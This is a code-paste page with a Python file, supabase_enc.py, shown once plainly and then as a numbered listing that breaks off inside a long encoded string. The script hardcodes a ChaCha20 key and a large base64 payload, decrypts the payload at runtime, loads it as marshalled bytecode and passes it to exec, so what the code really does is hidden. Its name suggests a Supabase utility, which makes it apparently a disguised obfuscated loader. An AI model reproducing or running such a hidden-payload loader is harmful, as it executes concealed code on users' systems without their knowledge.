supabase_enc.py
· 9.6 KiB · Python
Raw
import marshal
import base64
import sys
from Crypto.Cipher import ChaCha20
# CONFIG
_k_hex = "ddda55b5895fea1b86df1225a02eb787cfefac1faf3cec97ae245ae92592a05e"
_p_b64 = "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"
def _run():
try:
_k = bytes.fromhex(_k_hex)
_raw = base64.b64decode(_p_b64)
_n = _raw[:12]
_ct = _raw[12:]
_cipher = ChaCha20.new(key=_k, nonce=_n)
_dec = _cipher.decrypt(_ct)
code = marshal.loads(_dec)
exec(code, globals())
except ValueError as ve:
print("Error: Integrity check failed or bad key.")
except EOFError:
print("Error: Marshal data corrupted (possibly wrong Python version).")
except Exception as e:
print(f"Error execution: {e}")
if __name__ == "__main__":
_run()
| 1 | import marshal |
| 2 | import base64 |
| 3 | import sys |
| 4 | from Crypto.Cipher import ChaCha20 |
| 5 | |
| 6 | # CONFIG |
| 7 | _k_hex = "ddda55b5895fea1b86df1225a02eb787cfefac1faf3cec97ae245ae92592a05e" |
| 8 | _p_b64 = "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